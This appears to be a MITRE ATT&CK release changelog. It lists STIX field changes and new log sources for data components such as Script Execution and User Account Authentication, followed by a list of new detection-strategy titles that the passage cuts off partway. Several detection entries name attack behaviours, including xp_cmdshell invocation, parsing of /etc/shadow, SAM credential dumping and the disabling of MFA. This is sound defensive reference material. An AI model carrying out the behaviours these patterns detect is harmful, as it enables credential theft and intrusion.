dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:40.267000+00:002025-10-21 15:14:38.292000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0029] Script Execution

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0029', 'external_id': 'DC0029'}]
x_mitre_log_sources[{'name': 'Script', 'channel': 'None'}, {'name': 'm365:office', 'channel': 'VBA auto_open, auto_close, or document_open events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "python"\''}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1502, 1503'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "wscript" OR "vbs"\''}, {'name': 'macos:unifiedlog', 'channel': 'osascript or AppleScript invocation modifying UI'}, {'name': 'networkdevice:runtime', 'channel': 'runtime'}, {'name': 'macos:unifiedlog', 'channel': 'log'}, {'name': 'esxi:vmkernel', 'channel': 'boot'}, {'name': 'macos:unifiedlog', 'channel': "AppleScript creating login item via 'System Events' dictionary"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'WinEventLog:Application', 'channel': 'Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing'}, {'name': 'ApplicationLogs:SQL', 'channel': 'Stored procedure creation or modification with shell invocation (e.g., system(), exec())'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=launchservices'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled'}, {'name': 'EDR:scriptblock', 'channel': 'Process Tree + Script Block Logging'}, {'name': 'linux:syslog', 'channel': 'boot logs'}, {'name': 'm365:defender', 'channel': 'ScriptBlockLogging + AMSI'}, {'name': 'macos:unifiedlog', 'channel': 'log stream with predicate \'eventMessage CONTAINS "osascript"\''}, {'name': 'etw:Microsoft-Antimalware-Scan-Interface', 'channel': 'Amsi/Script content + API verdicts during in-memory staging'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=4016,5312'}, {'name': 'auditd:PROCTITLE', 'channel': 'scripting loop invoking sleep/ping'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic'}, {'name': 'macos:syslog', 'channel': 'system.log, asl.log'}, {'name': 'macos:osquery', 'channel': 'exec: Unexpected execution of osascript or AppleScript targeting sensitive apps'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.Security or com.apple.applescript'}, {'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads'}, {'name': 'EDR:AMSI', 'channel': 'Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)'}, {'name': 'macos:unifiedlog', 'channel': 'osascript, AppleScript, or Python execution triggered immediately after HID connection'}, {'name': 'm365:unified', 'channel': 'Scripted Activity'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:46.164000+00:002025-10-21 15:14:36.018000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0060] Service Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0060', 'external_id': 'DC0060'}]
x_mitre_log_sources[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7036'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'creation or modification of systemd services'}, {'name': 'macos:osquery', 'channel': 'Process Events and Launch Daemons'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7045'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=7045'}, {'name': 'linux:osquery', 'channel': 'newly registered unit file with ExecStart pointing to unknown binary'}, {'name': 'macos:unifiedlog', 'channel': 'creation or loading of new launchd services'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4697'}, {'name': 'linux:syslog', 'channel': 'systemctl start/enable with uncommon binary paths'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031, 7034'}, {'name': 'macos:osquery', 'channel': 'launch_daemons'}, {'name': 'macos:unifiedlog', 'channel': 'launchd loading new LaunchDaemon or changes to existing daemon configuration'}, {'name': 'macos:osquery', 'channel': 'detection of new launch agents with suspicious paths or unsigned binaries'}, {'name': 'kubernetes:audit', 'channel': 'create'}, {'name': 'containerLogs:systemd_unit_files', 'channel': 'unit file referencing container binary with persistent flags'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:54.408000+00:002025-10-21 15:14:36.315000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0041] Service Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0041', 'external_id': 'DC0041'}]
x_mitre_log_sources[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:sysmon', 'channel': 'EventCode=4'}, {'name': 'linux:syslog', 'channel': 'service stopped messages'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl disable or bootout calls'}, {'name': 'esxi:hostd', 'channel': 'Stop VM or disable service events via vim-cmd'}, {'name': 'linux:syslog', 'channel': 'auditd service stopped or disabled'}, {'name': 'macos:osquery', 'channel': 'launchd'}, {'name': 'linux:osquery', 'channel': 'scheduled/real-time'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.launchservices'}, {'name': 'esxi:hostd', 'channel': 'registers services with legitimate-sounding names'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7035'}, {'name': 'linux:syslog', 'channel': 'Service restart with modified executable path'}, {'name': 'macos:unifiedlog', 'channel': 'Observed loading of new LaunchAgent or LaunchDaemon plist'}, {'name': 'kubernetes:audit', 'channel': 'seccomp or AppArmor profile changes'}, {'name': 'WinEventLog:System', 'channel': 'Service stopped or RecoveryDisabled set via REAgentC'}, {'name': 'esxi:hostd', 'channel': 'Service events'}, {'name': 'WinEventLog:WinRM', 'channel': 'EventCode=6'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'delete: Modification of systemd unit files or config for security agents'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of system configuration profiles affecting security tools'}, {'name': 'kubernetes:audit', 'channel': 'kubectl delete or patch of security pods/admission controllers'}, {'name': 'networkdevice:config', 'channel': 'write: Startup configuration changes disabling security checks'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:39:52.137000+00:002025-10-21 15:14:36.382000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0065] Service Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0065', 'external_id': 'DC0065'}]
x_mitre_log_sources[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-IIS-Configuration', 'channel': 'Module or ISAPI filter registration events'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7040'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:57.700000+00:002025-10-21 15:14:37.211000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0111] Software

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0111', 'external_id': 'DC0111'}]
x_mitre_log_sources[{'name': 'Asset', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b1717cb4-d536-4e2b-b5e5-07e67e26183c
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:53.563000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0002] User Account Authentication

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0002', 'external_id': 'DC0002'}]
x_mitre_log_sources[{'name': 'User Account', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625'}, {'name': 'saas:okta', 'channel': 'session.impersonation.start'}, {'name': 'Okta:SystemLog', 'channel': 'eventType: user.authentication.sso, app.oauth2.token.grant'}, {'name': 'azure:signinlogs', 'channel': 'Success logs from high-risk accounts'}, {'name': 'networkdevice:syslog', 'channel': 'config access, authentication logs'}, {'name': 'ESXiLogs:authlog', 'channel': 'Unexpected login followed by encoding commands'}, {'name': 'saas:okta', 'channel': 'Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira'}, {'name': 'NSM:Connections', 'channel': 'Accepted password or publickey for user from remote IP'}, {'name': 'macos:unifiedlog', 'channel': 'successful sudo or authentication for account not normally associated with admin actions'}, {'name': 'esxi:vpxa', 'channel': 'user login from unexpected IP or non-admin user role'}, {'name': 'm365:signin', 'channel': 'Sign-in from anomalous location or impossible travel condition'}, {'name': 'networkdevice:syslog', 'channel': 'User privilege escalation to level 15/root prior to destructive commands'}, {'name': 'networkdevice:syslog', 'channel': 'authorization/accounting logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769,1200,1202'}, {'name': 'linux:syslog', 'channel': 'sudo/date/timedatectl execution by non-standard users'}, {'name': 'saas:audit', 'channel': 'Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies.'}, {'name': 'azure:signinlogs', 'channel': 'Multiple MFA challenge requests without successful primary login'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests'}, {'name': 'auditd:AUTH', 'channel': 'pam_unix or pam_google_authenticator invoked repeatedly within short interval'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4768, 4769, 4770'}, {'name': 'NSM:Connections', 'channel': 'Repeated failed authentication attempts or replay patterns'}, {'name': 'azure:signinlogs', 'channel': 'TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events'}, {'name': 'azure:signinlogs', 'channel': 'SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times'}, {'name': 'AWS:CloudTrail', 'channel': 'sts:GetFederationToken'}, {'name': 'm365:unified', 'channel': 'Delegated permission grants without user login event'}, {'name': 'saas:salesforce', 'channel': 'API login using access_token without login history'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'Operation=UserLogin'}, {'name': 'esxi:auth', 'channel': 'interactive shell or SSH access preceding storage enumeration'}, {'name': 'NSM:Connections', 'channel': 'Successful login without expected MFA challenge'}, {'name': 'macos:unifiedlog', 'channel': 'Login success without MFA step'}, {'name': 'kubernetes:apiserver', 'channel': 'get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts'}, {'name': 'auditd:SYSCALL', 'channel': 'pam_authenticate, sshd'}, {'name': 'macos:unifiedlog', 'channel': 'log show --predicate \'eventMessage contains "Authentication"\''}, {'name': 'esxi:vpxd', 'channel': '/var/log/vmware/vpxd.log'}, {'name': 'azure:signinlogs', 'channel': 'Unusual Token Usage or Application Consent'}, {'name': 'networkdevice:syslog', 'channel': 'Failed and successful logins to network devices outside approved admin IP ranges'}, {'name': 'azure:signinlogs', 'channel': 'OperationName=SetDomainAuthentication OR Set-FederatedDomain'}, {'name': 'network:auth', 'channel': 'repeated successful authentications with previously unknown accounts or anomalous password acceptance'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in with unfamiliar location/device + portal navigation'}, {'name': 'm365:signinlogs', 'channel': 'UserLoginSuccess'}, {'name': 'saas:salesforce', 'channel': 'Login'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive format command'}, {'name': 'networkdevice:syslog', 'channel': 'admin login events'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive command sequence'}, {'name': 'azure:signinlogs', 'channel': 'Login from newly created account'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of ssh, scp, or sftp using previously unseen credentials or keys'}, {'name': 'm365:unified', 'channel': 'login using refresh_token with no preceding authentication context'}, {'name': 'saas:googleworkspace', 'channel': 'API access without user login'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Interactive/Non-Interactive Sign-In'}, {'name': 'AWS:CloudTrail', 'channel': 'AWS IAM: ListUsers, ListRoles'}, {'name': 'gcp:workspaceaudit', 'channel': 'Token Generation via Domain Delegation'}, {'name': 'm365:signinlogs', 'channel': 'Unusual sign-in from service principal to user mailbox'}, {'name': 'macos:unifiedlog', 'channel': 'User credential prompt events without associated trusted installer package'}, {'name': 'linux:auth', 'channel': 'sshd login'}, {'name': 'saas:googleworkspace', 'channel': 'Accessed third-party credential management service'}, {'name': 'azure:signinlogs', 'channel': 'Reset password or download key from portal'}, {'name': 'linux:syslog', 'channel': 'SSH failed login'}, {'name': 'macos:unifiedlog', 'channel': 'Login failure / authorization denied'}, {'name': 'azure:signinlogs', 'channel': 'status = failure'}, {'name': 'Okta:authn', 'channel': 'authentication_failure'}, {'name': 'saas-app:auth', 'channel': 'login_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA, RADIUS, or TACACS authentication'}, {'name': 'kubernetes:apiserver', 'channel': 'authentication.k8s.io/v1beta1'}, {'name': 'm365:exchange', 'channel': 'Logon failure'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName=ConsoleLogin | eventType=AwsConsoleSignIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4624'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_AUTH'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs'}, {'name': 'macos:unifiedlog', 'channel': 'auth'}, {'name': 'm365:unified', 'channel': 'Sign-in logs'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin or AssumeRole'}, {'name': 'esxi:auth', 'channel': '/var/log/auth.log'}, {'name': 'networkdevice:syslog', 'channel': 'authentication logs'}, {'name': 'azure:signinlogs', 'channel': 'SigninSuccess'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4771, 4648'}, {'name': 'linux:syslog', 'channel': 'Failed password for invalid user'}, {'name': 'macos:unifiedlog', 'channel': 'Login Window and Authd errors'}, {'name': 'azure:signinlogs', 'channel': 'Failure Reason + UserPrincipalName'}, {'name': 'saas:okta', 'channel': 'authentication_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA or TACACS authentication failures'}, {'name': 'kubernetes:audit', 'channel': 'Failed login'}, {'name': 'm365:exchange', 'channel': 'FailedLogin'}, {'name': 'saas:auth', 'channel': 'signin_failed'}, {'name': 'saas:googleworkspace', 'channel': 'login with reused session token and mismatched user agent or IP'}, {'name': 'saas:googleworkspace', 'channel': 'Access via OAuth credentials with unusual scopes or from anomalous IPs'}, {'name': 'networkdevice:syslog', 'channel': 'authentication & authorization'}, {'name': 'WinEventLog:Security', 'channel': '4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in activity'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser'}, {'name': 'gcp:audit', 'channel': 'drive.activity'}, {'name': 'gcp:audit', 'channel': 'login.event'}, {'name': 'linux:syslog', 'channel': 'sshd[pid]: Failed password'}, {'name': 'macos:unifiedlog', 'channel': 'authd'}, {'name': 'networkdevice:syslog', 'channel': 'login failed'}, {'name': 'GCPAuditLogs:login.googleapis.com', 'channel': 'Failed sign-in events'}, {'name': 'esxi:auth', 'channel': 'SSH session/login'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4625'}, {'name': 'NSM:Connections', 'channel': 'sshd or PAM logins'}, {'name': 'saas:okta', 'channel': 'Sign-in logs / audit events'}, {'name': 'gcp:audit', 'channel': 'Sign-in logs / audit events'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs / audit events'}, {'name': 'kubernetes:audit', 'channel': 'authentication.k8s.io'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'authentication and authorization events during environmental validation phase'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:09:42.067000+00:002025-10-21 15:14:34.948000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0045] Windows Registry Key Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0045', 'external_id': 'DC0045'}]
x_mitre_log_sources[{'name': 'Windows Registry', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:03.268000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0063] Windows Registry Key Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0063', 'external_id': 'DC0063'}]
x_mitre_log_sources[{'name': 'Windows Registry', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4657'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=14'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:Sysmon', 'channel': 'StubPath value written under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components'}, {'name': 'm365:unified', 'channel': 'MacroSecuritySettingsChanged or SafeModeDisabled'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13, 14'}, {'name': 'WinEventLog:Security', 'channel': 'modification to Winlogon registry keys such as Shell, Notify, or Userinit'}, {'name': 'WinEventLog:Security', 'channel': 'Registry key modification HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient\\EnableMulticast'}, {'name': 'macos:unifiedlog', 'channel': 'g_CiOptions modification or SIP state change'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Autoruns reports DLLs in AppInit_DLLs key'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:59.993000+00:002025-10-22 18:34:46.572000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0
x_mitre_data_source_refx-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0

Detection Strategies

enterprise-attack

New Detection Strategies

[DET0210] Abuse of Domain Accounts

Current version: 1.0


[DET0413] Abuse of Information Repositories for Data Collection

Current version: 1.0


[DET0455] Abuse of PowerShell for Arbitrary Execution

Current version: 1.0


[DET0120] Account Access Removal via Multi-Platform Audit Correlation

Current version: 1.0


[DET0096] Account Manipulation Behavior Chain Detection

Current version: 1.0


[DET0415] Application Exhaustion Flood Detection Across Platforms

Current version: 1.0


[DET0397] Automated Exfiltration Detection Strategy

Current version: 1.0


[DET0186] Automated File and API Collection Detection Across Platforms

Current version: 1.0


[DET0088] Backup Software Discovery via CLI, Registry, and Process Inspection (T1518.002)

Current version: 1.0


[DET0280] Behavior-Based Registry Modification Detection on Windows

Current version: 1.0


[DET0496] Behavior-Chain Detection for Remote Access Tools (Tool-Agnostic)

Current version: 1.0


[DET0124] Behavior-chain detection for T1132.001 Data Encoding: Standard Encoding (Base64/Hex/MIME) across Windows, Linux, macOS, ESXi

Current version: 1.0


[DET0326] Behavior-chain detection for T1132.002 Data Encoding: Non-Standard Encoding across Windows, Linux, macOS, ESXi

Current version: 1.0


[DET0354] Behavior-chain detection for T1133 External Remote Services across Windows, Linux, macOS, Containers

Current version: 1.0


[DET0283] Behavior-chain detection for T1134 Access Token Manipulation on Windows

Current version: 1.0


[DET0482] Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows

Current version: 1.0


[DET0456] Behavior-chain detection for T1134.002 Create Process with Token (Windows)

Current version: 1.0


[DET0489] Behavior-chain detection for T1134.004 Access Token Manipulation: Parent PID Spoofing (Windows)

Current version: 1.0


[DET0136] Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows)

Current version: 1.0


[DET0182] Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS

Current version: 1.0


[DET0249] Behavior-chain detection for T1610 Deploy Container across Docker & Kubernetes control/node planes

Current version: 1.0


[DET0556] Behavior-chain detection strategy for T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild (Windows)

Current version: 1.0


[DET0191] Behavior-chain detection strategy for T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce (Windows)

Current version: 1.0


[DET0585] Behavior-chain detection strategy for T1127.003 Trusted Developer Utilities Proxy Execution: JamPlus (Windows)

Current version: 1.0


[DET0151] Behavior-chain, platform-aware detection strategy for T1124 System Time Discovery

Current version: 1.0


[DET0197] Behavior-chain, platform-aware detection strategy for T1125 Video Capture

Current version: 1.0


[DET0172] Behavior-chain, platform-aware detection strategy for T1127 Trusted Developer Utilities Proxy Execution (Windows)

Current version: 1.0


[DET0018] Behavior-chain, platform-aware detection strategy for T1129 Shared Modules

Current version: 1.0


[DET0052] Behavioral Detection Strategy for Abuse of Sudo and Sudo Caching

Current version: 1.0


[DET0131] Behavioral Detection Strategy for Exfiltration Over Alternative Protocol

Current version: 1.0


[DET0503] Behavioral Detection Strategy for Exfiltration Over Symmetric Encrypted Non-C2 Protocol

Current version: 1.0


[DET0376] Behavioral Detection Strategy for Network Service Discovery Across Platforms

Current version: 1.0


[DET0269] Behavioral Detection Strategy for Remote Service Logins and Post-Access Activity

Current version: 1.0


[DET0221] Behavioral Detection Strategy for T1123 Audio Capture Across Windows, Linux, macOS

Current version: 1.0


[DET0338] Behavioral Detection Strategy for Use Alternate Authentication Material (T1550)

Current version: 1.0


[DET0185] Behavioral Detection Strategy for Use Alternate Authentication Material: Application Access Token (T1550.001)

Current version: 1.0


[DET0364] Behavioral Detection Strategy for WMI Execution Abuse on Windows

Current version: 1.0


[DET0021] Behavioral Detection for Service Stop across Platforms

Current version: 1.0


[DET0329] Behavioral Detection for T1490 - Inhibit System Recovery

Current version: 1.0


[DET0100] Behavioral Detection of Asynchronous Procedure Call (APC) Injection via Remote Thread Queuing

Current version: 1.0


[DET0142] Behavioral Detection of CLI Abuse on Network Devices

Current version: 1.0


[DET0251] Behavioral Detection of Cloud Group Enumeration via API and CLI Access

Current version: 1.0


[DET0165] Behavioral Detection of Command History Clearing

Current version: 1.0


[DET0516] Behavioral Detection of Command and Scripting Interpreter Abuse

Current version: 1.0


[DET0389] Behavioral Detection of DLL Injection via Windows API

Current version: 1.0


[DET0400] Behavioral Detection of DNS Tunneling and Application Layer Abuse

Current version: 1.0


[DET0360] Behavioral Detection of Domain Group Discovery

Current version: 1.0


[DET0010] Behavioral Detection of Event Triggered Execution Across Platforms

Current version: 1.0


[DET0590] Behavioral Detection of External Website Defacement across Platforms

Current version: 1.0


[DET0499] Behavioral Detection of Fallback or Alternate C2 Channels

Current version: 1.0


[DET0184] Behavioral Detection of Indicator Removal Across Platforms

Current version: 1.0


[DET0102] Behavioral Detection of Input Capture Across Platforms

Current version: 1.0


[DET0357] Behavioral Detection of Internet Connection Discovery

Current version: 1.0


[DET0089] Behavioral Detection of Keylogging Activity Across Platforms

Current version: 1.0


[DET0114] Behavioral Detection of Local Group Enumeration Across OS Platforms

Current version: 1.0


[DET0520] Behavioral Detection of Log File Clearing on Linux and macOS

Current version: 1.0


[DET0266] Behavioral Detection of Mailbox Data and Log Deletion for Anti-Forensics

Current version: 1.0


[DET0078] Behavioral Detection of Malicious Cloud API Scripting

Current version: 1.0


[DET0140] Behavioral Detection of Malicious File Deletion

Current version: 1.0


[DET0127] Behavioral Detection of Masquerading Across Platforms via Metadata and Execution Discrepancy

Current version: 1.0


[DET0529] Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls

Current version: 1.0


[DET0049] Behavioral Detection of Network History and Configuration Tampering

Current version: 1.0


[DET0103] Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects

Current version: 1.0


[DET0378] Behavioral Detection of Obfuscated Files or Information

Current version: 1.0


[DET0106] Behavioral Detection of PE Injection via Remote Memory Mapping

Current version: 1.0


[DET0179] Behavioral Detection of Permission Groups Discovery

Current version: 1.0


[DET0508] Behavioral Detection of Process Injection Across Platforms

Current version: 1.0


[DET0002] Behavioral Detection of Publish/Subscribe Protocol Misuse for C2

Current version: 1.0


[DET0008] Behavioral Detection of Remote Cloud Logins via Valid Accounts

Current version: 1.0


[DET0596] Behavioral Detection of Remote SSH Logins Followed by Post-Login Execution

Current version: 1.0


[DET0521] Behavioral Detection of Spoofed GUI Credential Prompts

Current version: 1.0


[DET0195] Behavioral Detection of System Network Configuration Discovery

Current version: 1.0


[DET0231] Behavioral Detection of Systemd Timer Abuse for Scheduled Execution

Current version: 1.0


[DET0518] Behavioral Detection of T1498 – Network Denial of Service Across Platforms

Current version: 1.0


[DET0295] Behavioral Detection of Thread Execution Hijacking via Thread Suspension and Context Switching

Current version: 1.0


[DET0178] Behavioral Detection of Unauthorized VNC Remote Control Sessions

Current version: 1.0


[DET0384] Behavioral Detection of Unix Shell Execution

Current version: 1.0


[DET0093] Behavioral Detection of User Discovery via Local and Remote Enumeration

Current version: 1.0


[DET0076] Behavioral Detection of Visual Basic Execution (VBS/VBA/VBScript)

Current version: 1.0


[DET0464] Behavioral Detection of Wi-Fi Discovery Activity

Current version: 1.0


[DET0477] Behavioral Detection of WinRM-Based Remote Access

Current version: 1.0


[DET0202] Behavioral Detection of Windows Command Shell Execution

Current version: 1.0


[DET0537] Behavioral detection for Supply Chain Compromise (package/update tamper → install → first-run)

Current version: 1.0


[DET0498] Behavior‑chain detection for T1134.003 Make and Impersonate Token (Windows)

Current version: 1.0


[DET0274] Boot or Logon Autostart Execution Detection Strategy

Current version: 1.0


[DET0112] Boot or Logon Initialization Scripts Detection Strategy

Current version: 1.0


[DET0463] Brute Force Authentication Failures with Multi-Platform Log Correlation

Current version: 1.0


[DET0341] Clipboard Data Access with Anomalous Context

Current version: 1.0


[DET0386] Cloud Account Enumeration via API, CLI, and Scripting Interfaces

Current version: 1.0


[DET0309] Compromised software/update chain (installer/write → first-run/child → egress/signature anomaly)

Current version: 1.0


[DET0083] Container CLI and API Abuse via Docker/Kubernetes (T1059.013)

Current version: 1.0


[DET0446] Credential Access via /etc/passwd and /etc/shadow Parsing

Current version: 1.0


[DET0085] Credential Dumping from SAM via Registry Dump and Local File Access

Current version: 1.0


[DET0234] Credential Dumping via Sensitive Memory and Registry Access Correlation

Current version: 1.0


[DET0460] Credential Stuffing Detection via Reused Breached Credentials Across Services

Current version: 1.0


[DET0591] Cross-Platform Behavioral Detection of File Timestomping via Metadata Tampering

Current version: 1.0


[DET0063] Cross-Platform Behavioral Detection of Python Execution

Current version: 1.0


[DET0094] Cross-Platform Behavioral Detection of Scheduled Task/Job Abuse

Current version: 1.0


[DET0290] Cross-Platform Detection of Cron Job Abuse for Persistence and Execution

Current version: 1.0


[DET0573] Cross-Platform Detection of Data Transfer to Cloud Account

Current version: 1.0


[DET0264] Cross-Platform Detection of JavaScript Execution Abuse

Current version: 1.0


[DET0333] Cross-Platform Detection of Scheduled Task/Job Abuse via `at` Utility

Current version: 1.0


[DET0090] Cross-host C2 via Removable Media Relay

Current version: 1.0


[DET0238] Defacement via File and Web Content Modification Across Platforms

Current version: 1.0


[DET0387] Detect ARP Cache Poisoning Across Linux, Windows, and macOS

Current version: 1.0


[DET0113] Detect AS-REP Roasting Attempts (T1558.004)

Current version: 1.0


[DET0224] Detect Abuse of Component Object Model (T1559.001)

Current version: 1.0


[DET0198] Detect Abuse of Container APIs for Credential Access

